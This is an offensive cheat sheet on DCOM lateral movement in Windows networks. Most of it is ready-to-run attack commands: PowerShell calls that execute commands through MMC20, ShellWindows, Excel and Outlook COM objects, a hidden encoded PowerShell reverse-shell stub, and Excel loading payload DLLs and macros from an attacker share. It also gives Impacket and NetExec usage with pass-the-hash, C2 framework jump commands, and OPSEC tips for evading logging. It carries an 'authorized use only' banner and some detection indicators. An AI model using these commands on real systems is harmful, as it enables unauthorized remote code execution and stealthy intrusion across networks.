← All cheat sheets

EVIL-DCOM

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

DCOM (Distributed Component Object Model) lateral movement techniques
using COM objects for remote code execution on Windows systems.

OVERVIEW#

DCOM allows COM objects to be accessed over the network via RPC.
Several COM objects expose methods that can execute commands remotely.

Requirements:
  - Local admin on target (for most techniques)
  - TCP 135 (RPC Endpoint Mapper) + dynamic high ports
  - Firewall allowing DCOM traffic
  - DCOM enabled on target (default on most Windows)

MMC20.APPLICATION#

Uses MMC snap-in to execute commands via ExecuteShellCommand.
CLSID: {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

  # PowerShell
  $com = [activator]::CreateInstance([type]::GetTypeFromProgID(
      "MMC20.Application", "TARGET"))
  $com.Document.ActiveView.ExecuteShellCommand(
      "cmd.exe", $null, "/c whoami > C:\output.txt", "7")

  # Reverse shell
  $com.Document.ActiveView.ExecuteShellCommand(
      "powershell.exe", $null,
      "-nop -w hidden -e <BASE64_PAYLOAD>", "7")

  # With credentials
  $cred = New-Object System.Management.Automation.PSCredential(
      "DOMAIN\user", (ConvertTo-SecureString "pass" -AsPlainText -Force))
  # Note: DCOM uses the current user's token; use runas or make_token first

  Detection: Process mmc.exe spawning child processes remotely

SHELLWINDOWS#

Uses Windows Explorer Shell to execute via ShellExecute.
CLSID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}

  # PowerShell
  $com = [activator]::CreateInstance([type]::GetTypeFromCLSID(
      [guid]"9BA05972-F6A8-11CF-A442-00A0C90A8F39", "TARGET"))
  $com.item().Document.Application.ShellExecute(
      "cmd.exe", "/c whoami > C:\output.txt",
      "C:\Windows\System32", $null, 0)

  Detection: explorer.exe spawning child processes

SHELLBROWSERWINDOW#

Similar to ShellWindows but uses a different COM object.
CLSID: {C08AFD90-F2A1-11D1-8455-00A0C91F3880}

  # PowerShell
  $com = [activator]::CreateInstance([type]::GetTypeFromCLSID(
      [guid]"C08AFD90-F2A1-11D1-8455-00A0C91F3880", "TARGET"))
  $com.Document.Application.ShellExecute(
      "cmd.exe", "/c payload.exe",
      "C:\Windows\System32", $null, 0)

  Detection: explorer.exe spawning child processes

EXCEL.APPLICATION#

Uses Excel COM object to execute macros or system commands.
CLSID: {00024500-0000-0000-C000-000000000046}

  # PowerShell - RegisterXLL (load DLL)
  $com = [activator]::CreateInstance([type]::GetTypeFromProgID(
      "Excel.Application", "TARGET"))
  $com.DisplayAlerts = $false
  $com.RegisterXLL("\\ATTACKER\share\payload.xll")

  # PowerShell - DDEInitiate
  $com = [activator]::CreateInstance([type]::GetTypeFromProgID(
      "Excel.Application", "TARGET"))
  $com.DisplayAlerts = $false
  $com.DDEInitiate("cmd", "/c payload.exe")

  # Macro execution
  $com.Workbooks.Open("\\ATTACKER\share\macro.xlsm")
  $com.Run("Sheet1.Macro1")

  Detection: excel.exe spawning child processes, DDE events

OUTLOOK.APPLICATION#

Uses Outlook to execute via CreateObject or Shell method.

  # PowerShell
  $com = [activator]::CreateInstance([type]::GetTypeFromProgID(
      "Outlook.Application", "TARGET"))
  $shell = $com.CreateObject("Wscript.Shell")
  $shell.Run("cmd.exe /c payload.exe")

  Detection: outlook.exe spawning child processes, unusual Outlook API calls

VISIO.INVIISBLEAPP#

Uses Visio COM object for execution.

  # PowerShell
  $com = [activator]::CreateInstance([type]::GetTypeFromProgID(
      "Visio.InvisibleApp", "TARGET"))
  # Execute via Visio addon/macro mechanism

IMPACKET DCOMEXEC#

Python-based DCOM execution tool (part of Impacket suite).

  # Default (MMC20)
  dcomexec.py DOMAIN/user:password@TARGET

  # Specify COM object
  dcomexec.py -object MMC20 DOMAIN/user:password@TARGET
  dcomexec.py -object ShellWindows DOMAIN/user:password@TARGET
  dcomexec.py -object ShellBrowserWindow DOMAIN/user:password@TARGET

  # With NTLM hash
  dcomexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
  dcomexec.py -object MMC20 -hashes :NTLM_HASH DOMAIN/user@TARGET

  # Execute specific command
  dcomexec.py DOMAIN/user:password@TARGET "whoami"
  dcomexec.py DOMAIN/user:password@TARGET "cmd /c type C:\flag.txt"

  # With Kerberos
  dcomexec.py -k -no-pass DOMAIN/user@TARGET

NETEXEC DCOM EXECUTION#

  nxc smb TARGET -u user -p pass -x 'whoami' --exec-method dcomexec
  nxc smb TARGET -u user -H HASH -x 'whoami' --exec-method mmcexec

COBALT STRIKE / C2 INTEGRATION#

  # Cobalt Strike
  beacon> jump dcom TARGET LISTENER

  # Sliver
  # Use execute-assembly with custom DCOM tools

  # Havoc
  demon> jump wmi TARGET LISTENER    # WMI/DCOM-based

MSI CUSTOM ACTION SERVER (NEW TECHNIQUE)#

Discovered by SpecterOps: uses Windows Installer COM object to install
and trigger ODBC drivers for DLL execution.
CLSID: {000C101C-0000-0000-C000-000000000046} (IMsiServer)

  # Flow:
  1. Write malicious DLL to target (must export ConfigDriver)
  2. SQLInstallDriverEx registers DLL as ODBC driver
  3. SQLConfigDriver loads DLL and calls ConfigDriver export
  4. Executes from msiexec.exe in user context

  # BOF tool: https://github.com/werdhaihai/msi_lateral_mv

  # Detection:
  - Monitor HKLM\SOFTWARE\ODBC\ODBCINST.INI for new drivers
  - msiexec.exe loading DLLs from unusual paths
  - New ODBC driver installation is rare in most environments

BOF-BASED DCOM EXECUTION#

Beacon Object Files for in-memory DCOM lateral movement.

  # Advantages of BOF approach:
  - No fork-and-run (executes in beacon memory)
  - Avoids process creation for the DCOM call itself
  - Harder to detect than PowerShell-based approach
  - Can customize COM object and method used

  # Usage varies by BOF implementation
  # See: SpecterOps "DCOM Again" research for BOF examples

POWERSHELL UTILITY FUNCTIONS#

# Enumerate DCOM applications on target
Get-CimInstance Win32_DCOMApplication -ComputerName TARGET |
    Select-Object Name, AppID

# Check if DCOM is enabled
Get-ItemProperty -Path "HKLM:\Software\Microsoft\OLE" |
    Select-Object EnableDCOM

# List remote COM objects
$com = [System.Runtime.InteropServices.Marshal]::GetTypeFromCLSID(
    [guid]"CLSID", "TARGET")

REQUIRED PORTS & PROTOCOLS#

Port    Protocol   Purpose
----    --------   -------
135     TCP        RPC Endpoint Mapper
49152+  TCP        Dynamic RPC ports (ephemeral range)
445     TCP        Sometimes needed for auth/file access

# Firewall rules for DCOM
# Target must allow inbound TCP 135 + dynamic high ports
# Default Windows Firewall allows DCOM for domain-joined machines

DETECTION INDICATORS#

  Event ID    Source         Description
  --------    ------         -----------
  4624        Security       Logon Type 3 (Network logon)
  4672        Security       Special privileges assigned
  4688        Security       Process creation (if auditing enabled)
  1            Sysmon        Process creation with DCOM parent
  3            Sysmon        Network connection to port 135
  11           Sysmon        File creation (if payload written)

  Process Parent-Child Relationships:
  - mmc.exe → cmd.exe/powershell.exe (MMC20.Application)
  - explorer.exe → cmd.exe/powershell.exe (ShellWindows/BrowserWindow)
  - excel.exe → cmd.exe/powershell.exe (Excel.Application)
  - outlook.exe → cmd.exe/wscript.exe (Outlook.Application)
  - svchost.exe (DcomLaunch) → application process

  Network Indicators:
  - RPC traffic on port 135 from unusual sources
  - DCOM activation requests in RPC logs
  - Lateral connections followed by process spawning

OPSEC CONSIDERATIONS#

  - DCOM is less monitored than PsExec/WMI in many environments
  - No service creation or file write required (unlike PsExec)
  - Parent process varies by COM object (choose wisely)
  - MMC20 is most commonly used but also most detected
  - ShellWindows blends better (explorer.exe parent)
  - Excel/Outlook require the app to be installed on target
  - BOF-based approach avoids PowerShell logging
  - Use Impacket from Linux to avoid on-host detection
  - Clean up any files written to target after execution
  - DCOM traffic is encrypted with RPC encryption by default

MITRE ATT&CK MAPPING#

  T1021.003 - Remote Services: Distributed Component Object Model
  T1559.001 - Inter-Process Communication: Component Object Model